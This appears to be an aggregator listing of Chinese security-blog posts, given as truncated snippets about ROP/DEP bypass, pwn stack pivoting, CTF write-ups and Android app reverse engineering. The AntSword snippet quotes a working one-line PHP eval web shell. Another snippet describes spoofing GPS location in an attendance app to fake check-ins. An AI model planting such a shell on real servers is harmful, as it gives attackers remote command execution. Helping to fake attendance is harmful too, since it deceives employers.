目的和概述: 写这篇blog的目的是练习和总结RoP的一些常用思路,例如含有retn 4指令gadget的利用方法、gadget稀少时(RM-MP3 Converter中只有一对可以寄存器相互传值的g...
Android协议分析(1)——Android逆向破解某力定位打卡
背景原来公司使用的是某叮打卡,就是普通的定位打卡,之前已经从系统层做好了位置修改,配合自己写的APP做了注入任意位置,就在周五2022年12月30日突然发公告切换了打卡软件某力e,既然换了那就试试某叮...
DEP绕过 - RM-MP3 Converter 3.1.2.1 - RoP编写思路
目的和概述: 写这篇blog的目的是练习和总结RoP的一些常用思路,例如含有retn 4指令gadget的利用方法、gadget稀少时(RM-MP3 Converter中只有一对可以寄存器相互传值的g...
关于AntSword终端显示ret=127的解决方案
<?php @eval($_POST['knight']);?> 我将此木马放到某服务器,antsword打开终端后发现输入什么命令都显示ret=127 这说明disable_functi...
嵌入Python解释器的程序逆向
一前言最近在玩一款单机游戏,想试着改一下里面各类数据,却发现生命值、金币等数据都没办法修改。往里面一看,发现这游戏居然在完全单机的情况下,都会往一个本地的 Python 服务器发包。重要的逻辑都在这个...
对抗小技巧: 一些实用的运维命令
本来只是打算发几条实用命令,字数太少了干脆从笔记里面随便再捞几条放进来凑数2333命令补全iterm2 + zsh + autosuggestions多终端历史命令同步指定zsh写入的历史命令的路径,...
DEP绕过 - RM-MP3 Converter 3.1.2.1 - RoP编写思路
目的和概述: 写这篇blog的目的是练习和总结RoP的一些常用思路,例如含有retn 4指令gadget的利用方法、gadget稀少时(RM-MP3 Converter中只有一对可以寄存器相互传值的g...
web选手入门pwn(13) ——栈迁移
8. pwn02存在后门函数和/bin/sh字符串,很明显的栈溢出漏洞。gdb调试的时候发现溢出字节数不够。0x1b4-0x198刚好0x1c,只能覆盖ret和ret后的一个地址,也就是8字节。...
Pip3line:针对RawBytes修改和拦截的「瑞士军刀」
关于Pip3linePip3line是一款针对RawBytes数据的安全工具,该工具不仅允许广大研究人员轻松查看和修改RawBytes数据,而且还可以对数据执行各种转换、快速源码搜索和网络代理拦截等。...
第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC
EDIJOIN US ▶▶▶招新EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的...
陇剑杯半决赛&决赛部分WP
题目附件:https://pan.baidu.com/s/1LA2Wl619oi4WlimvqPkL6Q?pwd=av3j半决赛数据分析easy1.登录的密码是多少,请输入md5加密的32位小写字符串...
APP逆向-dudu牛(4000字长文,小白可食)
No.0挖掘前的准备在模拟器中安装该app后,首先运行app熟悉页面及其功能,下图为登录页面No.1登录接口抓包分析我们先使用Charles对该app抓取http请求数据包可以看到该登录接口请求包中的...
9